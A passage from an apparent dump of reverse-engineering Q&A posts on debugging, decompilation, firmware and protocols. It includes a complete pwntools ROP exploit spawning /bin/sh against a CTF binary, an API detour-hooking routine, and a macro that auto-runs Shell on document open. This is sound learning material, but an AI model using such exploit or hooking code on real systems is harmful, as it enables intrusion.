+00007FF663D14467 | 5F                       | pop rdi                                 |
+00007FF663D14468 | 5D                       | pop rbp                                 |
+00007FF663D14469 | C3                       | ret                                     |
+
+ +Which shows the MessageBox Now i am a bit lost as to what to do next. Worked on detour Function, pls see above. + +Edit + +NOW i fixed the Sethook Engine now and it looks like this somehow + +
#include ""SHook.h""
+
+BOOL SHook::SetHook(LPCSTR dll, LPCSTR name, LPVOID proxy, LPVOID original, PDWORD length)
+{
+    LPVOID FunctionAddress;
+    DWORD TrampolineLength = 0, OriginalProtection;
+    hde64s disam;
+    BYTE Jump[14] = { 0xFF, 0x25, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+
+    FunctionAddress = GetProcAddress(GetModuleHandleA(dll), name);
+    if (!FunctionAddress)
+        return FALSE;
+
+    //disassemble length of each instruction, until we have 5 or more bytes worth
+    while (TrampolineLength < 5)
+    {
+        LPVOID InstPointer = (LPVOID)((DWORD64)FunctionAddress + TrampolineLength);
+        TrampolineLength += hde64_disasm(InstPointer, &disam);
+    }
+
+    //Build the trampoline buffer
+    memcpy(original, FunctionAddress, TrampolineLength);
+    *(DWORD64*)(Jump + 1) = ((DWORD64)FunctionAddress + TrampolineLength) - ((DWORD64)original + TrampolineLength + 5); // <-- error falls here
+    memcpy((LPVOID)((DWORD64)original + TrampolineLength), Jump, 5);
+
+    //Make sure the function is writable
+    if (!VirtualProtect(FunctionAddress, TrampolineLength, PAGE_EXECUTE_READWRITE, &OriginalProtection))
+        return FALSE;
+
+    //Build and atomically write the hook
+    *(DWORD64*)(Jump + 1) = (DWORD64)proxy - (DWORD64)FunctionAddress - 5;
+    //SafeMemcpyPadded(FunctionAddress, Jump, 5);
+
+    //Restore the original page protection
+    VirtualProtect(FunctionAddress, TrampolineLength, OriginalProtection, &OriginalProtection);
+
+    //Clear CPU instruction cache
+    FlushInstructionCache(GetCurrentProcess(), FunctionAddress, TrampolineLength);
+
+    *length = TrampolineLength;
+    return TRUE;
+}
+
+ +Other things remain the same. do not have an idea why it fails still , especially on this line : + +
*(DWORD64*)(Jump + 1) = ((DWORD64)FunctionAddress + TrampolineLength) - ((DWORD64)original + TrampolineLength + 5);
+
+" +"['disassembly', 'disassemblers', 'decompile', 'visual-basic', 'vba']"," Title: Turning p-code generated by VBA (Visual Basic for Applications) back into VBABody: According to the README in https://github.com/bontchev/pcodedmp : + +""As each VBA line is entered into the VBA editor, it is immediately compiled into p-code"" + +""when you open the source of a macro module in the VBA editor, what is displayed is not the decompressed source code but the p-code decompiled into source"" + +This means that there is a line-to-line correspondence between the p-code and the VBA source code that generates it. + +Is there a tool that can take the dumped p-code and get the VBA source code that generated it? + +So for example, the input would be something like + +
Line #0:
+    FuncDefn (Private Sub Document_Open())
+Line #1:
+    LitStr 0x001D ""This could have been a virus!""
+    Ld vbOKOnly
+    Ld vbInformation
+    Add
+    LitStr 0x0006 ""Virus!""
+    ArgsCall MsgBox 0x0003
+Line #2:
+    LitStr 0x0008 ""calc.exe""
+    Paren
+    ArgsCall Shell 0x0001
+Line #3:
+    EndSub
+
+ +and output + +
Private Sub Document_Open()
+    MsgBox ""This could have been a virus!"", vbOKOnly + vbInformation, ""Virus!""
+    Shell(""calc.exe"")
+End Sub
+
+" +"['disassembly', 'arm', 'hopper']"," Title: Why decrement a hex value in assembly code?Body: I am running a disassembly of a firmware image for a Cortex-M4 and the entry point is doing something strange. + +
EntryPoint:
+00001000         db  0x00 ; '.'
+00001001         db  0xff ; '.'
+00001002         lsls       r7, r7, #0x3
+
+ +Why run decrement before on 0x00 and 0xff, what is the reasoning behind it? +" +"['binary-analysis', 'linux', 'arm', 'syscall']"," Title: Understand what Ioctl doBody: I looking in ida on arm linux binary . I can see there that there is ioctl call + +ioctl(fd,req,num). + +fd is fd to /dev/module. ,req is some 4bytes and num is some number. + +How can I understand what this ioctl call do? + +What req number mean? + +Where can I find the handle of this ioctl? +" +['angr']," Title: How to prevent angr from taking dozens of hours and GB of memory solving a (seemingly) simple CTF problemBody: I was recently working on a (seemingly) simple CTF challenge where the input was a base64 encoded file and the binary would check for correctness in one function call. The catch is that the checking function was about 88k basic blocks long, but is entirely linear. So each block would check for a single byte and, if incorrect, would branch to a smaller block that would call an exiting function. The operation in each block is simple: + +
if(RANDOM_CONST0 == mem[i] ^ RANDOM_CONST1){
+    goto next_basic_block;
+}else{
+    exiting_function()    //no return
+}
+
+ +The constants used are different for each basic block. So, it seemed like a great target for angr! + +Attempts (using call_state): + +1) + + + +2) + + + +Other misc things: + + + +Questions: + + + +I uploaded the CTF binary here for those interested. + + +" +"['disassembly', 'c++', 'ghidra']"," Title: Ghidra - Export namespacesBody: I am currently learning to use ghidra, and I found the Symbol Tree. + +Ghidra found some namespaces that I would like to export. +These namespaces don't even have to be readable, just reusable, such that I can use them in another application. + +Is there any way in Ghidra to export those namespaces in a reusable form? And if not, what would be my best bet of achieving this? + +Some additional information: + + + +If any more information or clarification is needed, please tell me. +" +"['decompiler', 'ghidra']"," Title: Template code with 0xcccccccc in every ghidra decompiled function for some executablesBody: I often have some code like this on the beginning of every function of a decompiled program: + +
iVar1 = 0x42;
+  puVar2 = local_10c;
+  while (iVar1 != 0) {
+    iVar1 = iVar1 + -1;
+    *puVar2 = 0xcccccccc;
+    puVar2 = puVar2 + 1;
+  }
+
+ +0xcccccccc in web search seems related to ""uninitialized memory"" but I don't see the link with this blanket code. + +What is it? What purpose does it have? +Why is it there as ""template"" for every function? +" +['c']," Title: Reverse a call to mmap()Body: I am currently reverse a challenge to learn. But why is the parameter of mmap (containing fd) at 4294967295? + +(Is it not supposed to exist? No files are open with open, just before.) + + +" +['protocol']," Title: Reverse engineering non-standard LIN protocolBody: I'm trying to reverse engineer an ECU / GSU protocol from a model airplane jet turbine, in order to make a telemetry adapter. +I have decoded several other protocols in the past with good success but this one is especially tough, so I thought I would ask for assistance. + +I have an Arduino Nano as the GSU emulator, with a LIN transceiver and verifying communication on a Saleae logic analyser. + +The ECU uses a LIN interface but on a proprietary protocol unknown to me. In order to read it I am using an Arduino with a level shifter, and I verified that the incoming data is correct. + +When ECU is stand alone, it sends several strings which appear to be interrogations for bus nodes, but nobody is replying obviously. + +
0x0A 0x00 0x00 0x00 0x00 0x0A
+0x14 0x00 0x00 0x00 0x00 0x14
+0x1E 0x00 0x00 0x00 0x00 0x1E
+0x28 0x00 0x00 0x00 0x00 0x28
+
+ +When the GSU is connected to the ECU, it responds immediately (0.2ms) after the first string (0x0A 0x00 0x00 0x00 0x00 0x0A), with a 6 byte reply. Each time it is a slightly different reply. + +Such a reply is followed by the ECU sending a stream of data, which is the data I need to read. + +I tried emulating some of these GSU replies with Arduino, but the ECU never sends the stream of data back on the bus if the arduino is interrogating it; it just ignores it and continues interrogating as if nothing happened. With the GSU interrogating, the ECU replies. + +I have attached an Excel table that shows some of the replies and a bit of data processing I played with. It appears that the reply is a 6 byte stream, where the MSB (most significant BIT) of each byte is either 0 or 1. I'm not sure about the rules here and why it's changing. + +Does this make sense to anyone? +Any reverse engineering experts can share some ideas? +So far haven't been able to get the ECU to answer to Arduino. + +Thanks for your help. + + +" +"['assembly', 'linux']"," Title: Unexpected SEGFAULT when there's apparently nothing that would cause itBody: This is a from a CTF problem I'm working on. Hopefully it's appropriate to ask this question here. + + + +Above is the GDB output when the segfault goes off. movaps is the offending instruction, meaning that rsp+0x40 is most likely pointing to unmapped memory. + +However, a closer look at the memory allocated for the stack + + + +and rsp=0x00007ffde19d78a8 from the GDB output, shows that rsp+0x40 is well within the allocated bounds. This is really confusing for me, is there something I'm missing here? Something else I can look into to debug this? + +Finally the output when running this under strace + +
[pid 32671] --- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} ---
+[pid 32671] +++ killed by SIGSEGV (core dumped) +++
+
+ +shows that it's apparently a null pointer dereference (si_addr=NULL), which doesn't make any sense to me because the offending instruction movaps XMMWORD PTR [rsp+0x40],xmm0 isn't accessing a NULL pointer? +" +"['disassembly', 'assembly', 'malware', 'shellcode']"," Title: Determine what architecture a piece of shellcode targetsBody: After some personal research I didn't find any possible way or a paper to explain how to determine what architecture a given piece of shellcode may targets. The only obvious way I found would be to disassemble it for various architectures and check for which one of those the assembly code makes any sense. But this way demands that an actual person has to study the assembly code every time. So is there any other way that we can use to be certain that a piece of shellcode targets a certain architecture? Thank you in advance! +" +"['disassembly', 'assembly', 'binary-analysis', 'x86', 'malware']"," Title: Reproduce compilation (ASM) output for library detection - identifying compiler, version & options usedBody: I want to reverse a stripped x86 sample that uses a static library.
+So far I could identify the library itself and narrow the version of the library used. + +Now I want to use Ghidra's Function ID plugin to identify all the library functions within the sample.
+The function signatures depend on the instructions of the function - so for them to match, the instructions need to match. + +The instructions of a function depend heavily on the compiler, its version & options that were used. + +I have compiled the library myself using gcc and compared the assembly output - and they differ. + +Do you have some suggestions on what to try / things to look out for / clues that might lead to the original compiler used?
+I have tried compiling the source with some of the compilers listed on godbolt.org, but none of them seem similar to the original disassembly. + +For example, here is one of the functions from the original sample and from one of my gcc-compiled version: + +Function within the original sample: +
+Function within my gcc-compiled version of the library: + + +Relevant source code of the function: + +
#define MBEDTLS_SSL_TRANSPORT_DATAGRAM          1   /*!< DTLS     */
+#define MBEDTLS_SSL_MINOR_VERSION_0             0   /*!< SSL v3.0 */
+#define MBEDTLS_SSL_MINOR_VERSION_1             1   /*!< TLS v1.0 */
+#define MBEDTLS_SSL_MINOR_VERSION_2             2   /*!< TLS v1.1 */
+#define MBEDTLS_SSL_MINOR_VERSION_3             3   /*!< TLS v1.2 */
+#define MBEDTLS_SSL_PROTO_DTLS
+
+
+
+struct mbedtls_ssl_config
+{
+    unsigned int transport : 1;
+};
+
+struct mbedtls_ssl_context {
+    int minor_ver;
+    const mbedtls_ssl_config *conf;
+};
+
+const char *mbedtls_ssl_get_version( const mbedtls_ssl_context *ssl )
+{
+#if defined(MBEDTLS_SSL_PROTO_DTLS)
+    if( ssl->conf->transport == MBEDTLS_SSL_TRANSPORT_DATAGRAM )
+    {
+        switch( ssl->minor_ver )
+        {
+            case MBEDTLS_SSL_MINOR_VERSION_2:
+                return( ""DTLSv1.0"" );
+
+            case MBEDTLS_SSL_MINOR_VERSION_3:
+                return( ""DTLSv1.2"" );
+
+            default:
+                return( ""unknown (DTLS)"" );
+        }
+    }
+#endif
+
+    switch( ssl->minor_ver )
+    {
+        case MBEDTLS_SSL_MINOR_VERSION_0:
+            return( ""SSLv3.0"" );
+
+        case MBEDTLS_SSL_MINOR_VERSION_1:
+            return( ""TLSv1.0"" );
+
+        case MBEDTLS_SSL_MINOR_VERSION_2:
+            return( ""TLSv1.1"" );
+
+        case MBEDTLS_SSL_MINOR_VERSION_3:
+            return( ""TLSv1.2"" );
+
+        default:
+            return( ""unknown"" );
+    }
+}
+
+ +Any hints and ideas are greatly appreciated, thank you! +" +"['windbg', 'breakpoint', 'kernel-mode']"," Title: Setting a conditional kernel breakpoint in WinDbg grinds the debuggee OS to a haltBody: My setup: + + + +I'm trying to follow the SendMessage call from the user space: + + + +Into the kernel, by setting a conditional breakpoint on win32k!NtUserMessageCall: + + + +If we take the declaration of the NtUserMessageCall function: + +
NTSTATUS NtUserMessageCall(
+    HWND hWnd,
+    UINT uMsg,
+    WPARAM wParam,
+    LPARAM lParam,
+    ULONG_PTR ResultInfo,
+    DWORD dwWndProcType,
+    BOOL bAnsi);
+
+ +The condition for the breakpoint is for uMsg == WM_SYSCOMMAND (or 0x112). I set it as such: + +
ba e 1 fffff960`00163318 ""j (@rdx=0x112) ''; 'gc'""
+
+ +I can then check that it was set up alright: + + + +But when I then ""Go"" the OS: + + + +The debuggee OS literally grinds to a halt. I can't do anything. I can see some ""life"" in there by seeing the clock widget jumping by 20 second intervals but it is impossible to interact with windows or do anything. Note that if I disable the breakpoint above, everything starts working smoothly. + +Can someone explain what am I doing wrong there? And how can I make it work? +" +"['c++', 'c#', 'dll-injection']"," Title: Is it possible to hijack a C++ DLL after it has been loaded into the memory space? How?Body: I have a .Net application, in which a C++ DLL is embedded as a resource into the application. + +When the .Net application is running, I will extract the C++ DLL to a temporary folder, and after that, my .Net code will immediately load the C++ DLL into the memory and use it by calling a function on the C++ via interop. + +My concern is that with scheme like this, is it possible for an attacker to somehow (still) hijack the C++ DLL and replace it with his own compromised version? Or is it possible to hijack a C++ DLL after it has been loaded into the memory space? + +If yes, how? +" +"['ida', 'idapython', 'python']"," Title: IdaPython aob search and rename exampleBody: Iv'e never used python before and in looking at other example I can't find what I'm looking for exactly so I have come here to humbly ask for an example script if anyone could be so kind, I am trying to simply make a table of function names and their corresponding sig and then I'd like to run the script in ida and have it search for the aob and if found rename that function to the sigs name and if not found just print that it wasn't found. I have coded in lua an exact replica of what I am trying to accomplish. Thanks for your time! + + + +
local sigs = {
+    [""func1""] = ""ff ff ff ff ff ff ff"",
+    [""func2""] = ""ff ff ff ff ff ff ff"",
+    [""func3""] = ""ff ff ff ff ff ff ff"",
+    [""func4""] = ""ff ff ff ff ff ff ff""
+}
+
+for name, sig in pairs(sigs) do
+    local address = searchaob(sig)
+    if address then
+        rename(address, name)
+    else
+        print(name .. "" not found"")
+    end
+end
+
+" +"['disassembly', 'windows', 'assembly', 'x86']"," Title: ACCESS_VIOLATION when attaching a debuggerBody: I'm debugging a software and it hits access violation on wcslen function under debugger but runs normally without it. + +First I thought It had some anti-debug trick, but I could not found any indicators of that in the executable, I also could not found any anti-debug technique with access violation. + +I've tried using both x64dbg and windbgbut I had same problem on both of them. I also launched them with admin privileges since I thought privileges might be needed for something but error didn't go away. + +Here is exact line of inside wcslen which causes this: + +
mov cx, word ptr ds:[eax]
+
+ +and the address which eax points to is EF415351 which is pretty big. + +So my question is, is there any anti-debug technique which involves access violation? How can I workaround this error? + +Can I patch program so that it logs wcslen arguments, and then I'll just compare it's argument under debugger and normal execution and maybe find something interesting. + +P.S +I also get same error when launching application under debugger, so attaching or running under it doesn't make any difference. +" +['patch-reversing']," Title: Find flag from GO binary challengeBody: I have GO binary file from challenge (that already over). + +I spent around 3 days to find the flag without results. + +I'm trying to load the file with gdb and using the following command: + +First, Trying to find the entry point: + +
info files
+
+ +After I got the entry point I did break *<ENTRYPOINTADDR> +Then layout asm and then I just try to figure when I need to add break point before the print that ask me to enter a password. + +Also trying with info frame and show registers and to print the values but nothing found. + +I just want to learn how to find the flag from this ELF file + +I would love to know how to solve it + +GO binary File +" +"['binary-analysis', 'static-analysis', 'python']"," Title: pyelftools relocation section symbolsBody: I have been trying to get into reverse engineering as of late and after playing with Radare2 I realized I was playing with a lot of things without really understanding what I was doing. In an effort to rectify this I decided to do something a little more hands on and do some simple reversing exercises with python. I started by following this somewhat dated post. + +
https://anee.me/reversing-an-elf-from-the-ground-up-4fe1ec31db4a
+
+ +I was attempting to look up symbols in the relocation section and it seems that one section provides accurate addresses but another does not and i'm at a bit of a loss as to why. + +My Code: + +
import sys
+from elftools.elf.elffile import ELFFile
+from elftools.elf.relocation import RelocationSection
+from elftools.elf.descriptions import describe_reloc_type
+
+
+def process_file(fname):
+    with open(fname, 'rb') as f:
+        e = ELFFile(f)
+        for section in e.iter_sections():
+            if not isinstance(section, RelocationSection):
+                continue
+            print(f'\n{section.name} with {section.num_relocations()} Sections: ')
+            symbol_table = e.get_section(section['sh_link'])
+            for relocation in section.iter_relocations():
+                symbol = symbol_table.get_symbol(relocation['r_info_sym'])
+                addr = hex(relocation['r_offset'])
+                type = describe_reloc_type(relocation['r_info_type'], e)
+                print(f'{addr}\t{type}\t{symbol.name}')
+
+
+if __name__ == '__main__':
+    if len(sys.argv) == 2:
+        process_file(sys.argv[1])
+
+ +Returns: + +
.rela.dyn with 9 Sections: 
+0x3de8  R_X86_64_RELATIVE   
+0x3df0  R_X86_64_RELATIVE   
+0x4048  R_X86_64_RELATIVE   
+0x3fd8  R_X86_64_GLOB_DAT   _ITM_deregisterTMCloneTable
+0x3fe0  R_X86_64_GLOB_DAT   __libc_start_main
+0x3fe8  R_X86_64_GLOB_DAT   __gmon_start__
+0x3ff0  R_X86_64_GLOB_DAT   _ITM_registerTMCloneTable
+0x3ff8  R_X86_64_GLOB_DAT   __cxa_finalize
+0x4050  R_X86_64_COPY       stdin
+
+.rela.plt with 5 Sections: 
+0x4018  R_X86_64_JUMP_SLOT  puts
+0x4020  R_X86_64_JUMP_SLOT  printf
+0x4028  R_X86_64_JUMP_SLOT  fgets
+0x4030  R_X86_64_JUMP_SLOT  strcmp
+0x4038  R_X86_64_JUMP_SLOT  malloc
+
+ +All of the addresses under '.rela.plt' have addresses that do not match the calls I know are being made to them. + +For Example: + +
--cut--
+0x11f0: mov eax, 0
+0x11f5: call    0x1040 <<-- This is a call to printf
+0x11fa: mov rdx, qword ptr [rip + 0x2e4f]       ** RIP + Offset: 0x4050  - calls: stdin
+0x1201: mov rax, qword ptr [rbp - 8]
+0x1205: mov esi, 0xa
+0x120a: mov rdi, rax
+0x120d: call    0x1050 <<-- This is a call to fgets
+0x1212: mov rdx, qword ptr [rbp - 0x10]
+--cut--
+
+ +I have verified this with Radare2, and the correct addresses seem to be as follows. + +
 0x1030     sym.imp.puts                             
+ 0x1040     sym.imp.printf
+ 0x1050     sym.imp.fgets
+ 0x1060     sym.imp.strcmp
+ 0x1070     sym.imp.malloc
+
+ +From what little I can find this may be due to dynamic linking but i'm not sure. I have been unable to find a way to get my script to output this section with what I believe are the appropriate addresses. Any information on how this process works, or how to retrieve the needed addresses with pyelftools would be greatly appreciated. +" +"['exploit', 'x86-64', 'pwntools']"," Title: Receiving ""Got EOF while reading in interactive"" after properly executing system(""/bin/sh"") using pwntoolsBody: I've followed some tutorials on writing a pwntools-based exploit for the bitterman ELF binary, used in a CTF competition. However, all my attempts fail with the message below, i.e. Got EOF while reading in interactive after having executed system(""/bin/sh"") using a simple ROP chain: + +
nlykkei@ubuntu-dev:~$ python bitterman.py                                                │ 27 p.recvuntil('Thanks!\n')
+[+] Starting local process './bitterman': pid 6244                                       │ 28 
+[+] puts@glibc: 0x7fcbdc453010                                                           │ 29 #puts_addr = p.recv()[:8].strip().ljust(8,""\x00"")
+[+] offset: 0x7fcbdc3d2000                                                               │ 30 puts_addr = p.recvuntil('\n', timeout=60)[:-1].strip().ljust(8,""\x00"")
+[*] Switching to interactive mode                                                        │ 31 log.success('puts@glibc: {}'.format(hex(u64(puts_addr))))
+[*] Got EOF while reading in interactive                                                 │ 32 
+$                                                                                        │ 33 #Stage 2
+[*] Process './bitterman' stopped with exit code -11 (SIGSEGV) (pid 6244)                │ 34 libc_puts = 0x81010
+[*] Got EOF while sending in interactive 
+
+ +Having traced the exploit using GDB, I can verify that system(""/bin/sh"") gets executed with the clone syscall returning a valid child PID. However, after the clone syscall nothing really happens, and the parent process continue and crashes (bad return address). + +What could be the problem? I'd be grateful if any experienced exploit developer or CTF entusiast could spot the error. + +Update: +I just rewrote the exploit to use execv front-end for execve syscall, and then everything works as expected! (a shell is spawned) + +system(..) works by forking a child using clone syscall, whereas execve replaces the entire process. Any idea why system(..) approach doesn't work? + +https://github.com/ctfs/write-ups-2015/blob/master/camp-ctf-2015/pwn/bitterman-300/bitterman + +https://www.youtube.com/watch?v=6S4A2nhHdWg + +
from pwn import *
+
+#context(terminal=['tmux', 'new-window'])
+
+p = process('./bitterman')
+#p = gdb.debug('./bitterman', 'b main')
+
+#context(os='linux', arch='amd64')
+#context.log_level = 'DEBUG'
+
+# Stage 1
+main = p64(0x4006ec) #0x400550
+plt_puts = p64(0x400520)
+got_puts = p64(0x600c50)
+pop_rdi = p64(0x400853)
+
+junk = 152*""A""
+
+payload = junk + pop_rdi + got_puts + plt_puts + main
+
+p.recvuntil('name?')
+p.sendline('nlykkei')
+p.recvuntil('message:')
+p.sendline('256')
+p.recvuntil('text:')
+p.sendline(payload)
+p.recvuntil('Thanks!\n')
+
+#puts_addr = p.recv()[:8].strip().ljust(8,""\x00"")
+puts_addr = p.recvuntil('\n', timeout=60)[:-1].strip().ljust(8,""\x00"")
+log.success('puts@glibc: {}'.format(hex(u64(puts_addr))))
+
+#Stage 2
+libc_puts = 0x81010
+libc_system = 0x50300
+libc_sh = 0x1aae80
+
+offset = u64(puts_addr) - libc_puts
+log.success('offset: {}'.format(hex(offset)))
+
+system_addr = p64(libc_system + offset)
+sh_addr = p64(libc_sh + offset)
+
+payload = junk + pop_rdi + sh_addr + system_addr
+
+p.recvuntil('name?')
+p.sendline('nlykkei')
+p.recvuntil('message:')
+p.sendline('256')
+p.recvuntil('text:')
+p.sendline(payload)
+p.recvuntil('Thanks!')
+
+p.clean()
+p.interactive() 
+
+" +['lldb']," Title: gdb list functions names equivalent for lldbBody: is possible with lldb have a list of functions at runtime like gdb info functions? I had a look at help but didn't find it. +" +['dos']," Title: Reverse Engineering (very) old DOS calculation programBody: I have recently joined a company that is specialized in air ducts & ventilation systems and I was quite surprised when I noticed that they are still using a DOS program to calculate the pressure loss of a specific duct system. You see, when air travels through the ductwork it encounters a lot of resistance (bends, ...) and this program calculates the amount of resistance once you enter all the different components of the system. + +The program still works today but has to be run on a virtual server running Windows XP, plus the layout is quite ... outdated. I am wondering whether it is possible to reverse engineer this program and put in into a ""modern"" jacket, + enable easy data instruction. + +For instance, today you have to manually enter each component from the system, but it would be a lot easier/faster to run the program on a list of components (extracted from our drawing software). (this is an extra) + +I am not a programmer but I saw this thread, which is a quite similar problem and which eventually found a solution. + +The program dates back from 1990 and if I open the files in Notepad I can see that it is written in TURBO BASIC. I have .DAT and .EXE files, and also .KAN files (I think those last files are specifically created by the program, which is called LUWKAN). Development of this program has stopped years ago, and even the company does not have the software anymore. + +Any help or direction would be much appreciated? I would assume that the source code can be easily examined and copied but I might be too naive. +" +['ollydbg']," Title: To find a keyboard shortcut inside an applicationBody: The app has a ""secret dialog window"" and I'm sure it appears after pressing combination of some buttons. How I can find the combination in this app? +" +"['dll', '.net', 'game-hacking']"," Title: Unity game: Assembly dll embedded inside the exeBody: I'm trying to reverse engineer a game made with the Unity engine, and usually all of the games's scripts are in the files \<Game>_Data\Managed\Assembly-CSharp.dll and \<Game>_Data\Managed\Assembly-CSharp-firstpass.dll. However this game doesn't have the assembly dll in the managed directory. + +I tried decompiling the exe with dnSpy but it doesn't look like there is any .NET assembly inside: + + + +I also used Process Monitor to check if the game loads any other .dll but it doesn't. +However, using Cheat Engine's mono dissector function I can see the two assembly dll's and all the classes and methods inside: + + + +So my hypothesis is that the dll is embedded inside the exe somehow and loaded to the memory when the game starts. + +I debugged the game's executable with x64dbg, searched for string references for ""Assembly-Csharp"" and put a breakpoint where I think the dll is loaded, and found this: + + + +I decompiled this part of the program with ghidra and got this: +(I also decompiled it with x64dbg and got a similar result minus the variables names) + +
undefined * FUN_1401a0070(undefined *puParm1,void **ppvParm2,undefined8 uParm3,undefined8 uParm4)
+
+{
+  char cVar1;
+  char cVar2;
+  char *pcVar3;
+  longlong lVar4;
+  void **ppvVar5;
+  undefined **ppuVar6;
+  int iVar7;
+  bool bVar8
+;  int iVar9;
+  undefined in_stack_ffffffffffffffb8;
+  undefined uVar10;
+  undefined7 in_stack_ffffffffffffffb9;
+  int in_stack_ffffffffffffffc0;
+  undefined8 local_38;
+  ulonglong local_30;
+
+  iVar7 = 0;
+  ppuVar6 = &PTR_s_Managed/Assembly-CSharp.dll_140f42ad8;
+  do {
+    pcVar3 = (char *)FUN_140007820();
+    iVar9 = (int)uParm4;
+    bVar8 = SUB81(uParm3,0);
+    lVar4 = -(longlong)pcVar3;
+    do {
+      cVar2 = *pcVar3;
+      cVar1 = pcVar3[(longlong)(*ppuVar6 + lVar4)];
+      if (cVar2 != cVar1) break;
+      pcVar3 = pcVar3 + 1;
+    } while (cVar1 != '\0');
+    if (cVar2 == cVar1) {
+      lVar4 = -1;
+      local_30 = 0xf;
+      local_38 = 0;
+      uVar10 = 0;
+      pcVar3 = (&PTR_s_StreamingAssets/OtherAssets/Back_140f42ae8)[(longlong)iVar7];
+      goto code_r0x0001401a012d;
+    }
+    ppuVar6 = ppuVar6 + 1;
+    iVar7 = iVar7 + 1;
+  } while ((longlong)ppuVar6 < 0x140f42ae8);
+  *(undefined8 *)(puParm1 + 0x18) = 0xf;
+  *(undefined8 *)(puParm1 + 0x10) = 0;
+  *puParm1 = 0;
+  FUN_14000b310(puParm1,ppvParm2);
+  goto LAB_1401a01a0;
+  while( true ) {
+    lVar4 = lVar4 + -1;
+    cVar2 = *pcVar3;
+    pcVar3 = pcVar3 + 1;
+    if (cVar2 == '\0') break;
+    code_r0x0001401a012d:
+    if (lVar4 == 0) break;
+  }
+  FUN_14000a8f0(&stack0xffffffffffffffb8);
+  cVar2 = FUN_1402d8ab0(&stack0xffffffffffffffb8);
+  *(undefined8 *)(puParm1 + 0x18) = 0xf;
+  *(undefined8 *)(puParm1 + 0x10) = 0;
+  ppvVar5 = (void **)&stack0xffffffffffffffb8;
+  if (cVar2 == '\0') {
+    ppvVar5 = ppvParm2;
+  }
+  iVar9 = -1;
+  bVar8 = false;
+  *puParm1 = 0;
+  FUN_140009870(puParm1,ppvVar5);
+  if (0xf < local_30) {
+    operator_delete((void *)CONCAT71(in_stack_ffffffffffffffb9,uVar10),(MemLabelId)0x3b,bVar8,iVar9,
+      (char *)CONCAT71(in_stack_ffffffffffffffb9,uVar10),in_stack_ffffffffffffffc0);
+  }
+  local_30 = 0xf;
+  local_38 = 0;
+  in_stack_ffffffffffffffb8 = 0;
+  LAB_1401a01a0:
+  if (&DAT_0000000f < ppvParm2[3]) {
+    operator_delete(*ppvParm2,(MemLabelId)0x3b,bVar8,iVar9,
+      (char *)CONCAT71(in_stack_ffffffffffffffb9,in_stack_ffffffffffffffb8),
+      in_stack_ffffffffffffffc0);
+  }
+  *(undefined **)(ppvParm2 + 3) = &DAT_0000000f;
+  ppvParm2[2] = (void *)0x0;
+  *(undefined *)ppvParm2 = 0;
+  return puParm1;
+}
+
+ +And now I'm stuck, I'm looking for a way to extract this dll from the exe (if it's inside at all) and then decompile to C#. +Alternatively I would like to know if there is a way to decompile the IL code that cheat engine provides with the mono dissector tool, and translate it to readable C#. + +I'm pretty much a novice in reverse engineering so I'm sure I missed a lot of stuff, any help is welcome. +" +"['debugging', 'decryption', 'hooking']"," Title: Intercept zip decryption key or files from an applicationBody: If an application is reading from a password protected zip file, is there a way to intercept the key being sent to decrypt the zip file. Or, is there a way to dump the files being read themselves? +" +"['firmware', 'arm']"," Title: Extracting ARM Boot zImageBody: I'm trying to analyze the firmware of a system running Linux and connecting various home automation and security devices. Every time it boots, the GM8125 processor running ARMv5TE loads a firmware image from the SPI flash. I connected to the flash with a Bus Pirate and pulled off the firmware image. When I run binwalk on it, I get the following. + +
$ binwalk spidump.bin 
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+271284        0x423B4         Sega MegaDrive/Genesis raw ROM dump, Name: ""ETIR_ON"", ""ECCAS"",
+744708        0xB5D04         CRC32 polynomial table, big endian
+786432        0xC0000         gzip compressed data, maximum compression, from Unix, last modified: 1970-01-04 16:05:57 (bogus date)
+917760        0xE0100         Linux kernel ARM boot executable zImage (big-endian)
+9306332       0x8E00DC        Zlib compressed data, compressed
+9307424       0x8E0520        Zlib compressed data, compressed
+9308196       0x8E0824        Zlib compressed data, compressed
+9309036       0x8E0B6C        Zlib compressed data, compressed
+9310040       0x8E0F58        Zlib compressed data, compressed
+9310220       0x8E100C        Zlib compressed data, compressed
+9311200       0x8E13E0        Zlib compressed data, compressed
+9312104       0x8E1768        JFFS2 filesystem, little endian
+9317132       0x8E2B0C        Zlib compressed data, compressed
+9317428       0x8E2C34        JFFS2 filesystem, little endian
+9318332       0x8E2FBC        Zlib compressed data, compressed
+[...]
+
+ +If I run binwalk -Mre it gives me nearly 6000 files and several hundred folders of the extracted Zlib and JFFS2 data. After analyzing these, I thought I'd look at the boot image. + +I carved out the zImage by running dd if=spidump.bin of=carved.bin bs=1 skip=917760 count=8388572. Running file returns carved.bin: Linux kernel ARM boot executable zImage (big-endian). + +So far so good. This is where I get lost. + +From reading other posts here and elsewhere, it seems like I should search for the magic bytes of where compression starts--since this is big-endian, I run objdump with a lot of results (only the first few lines listed). + +
$ arm-none-eabi-objdump -EB -D -m armv5te -b binary carved.bin | grep 1f8b
+    9b38:   1f8b3c36    svcne   0x008b3c36
+   1f8b0:   bf2e3abe    svclt   0x002e3abe
+   1f8b4:   0811cabb    ldmdaeq r1, {r0, r1, r3, r4, r5, r7, r9, fp, lr, pc}
+   1f8b8:   baaee7f4    blt 0xfebd9890
+   1f8bc:   fc3711aa    ldc2    1, cr1, [r7], #-680 ; 0xfffffd58
+   20c38:   f3b1f8b9            ; <UNDEFINED> instruction: 0xf3b1f8b9
+   233c0:   d1f8badf    ldrsble fp, [r8, #175]! ; 0xaf
+   2c7d8:   011f8b05    tsteq   pc, r5, lsl #22
+   2d990:   e9ff1f8b    ldmib   pc!, {r0, r1, r3, r7, r8, r9, sl, fp, ip}^  ; <UNPREDICTABLE>
+
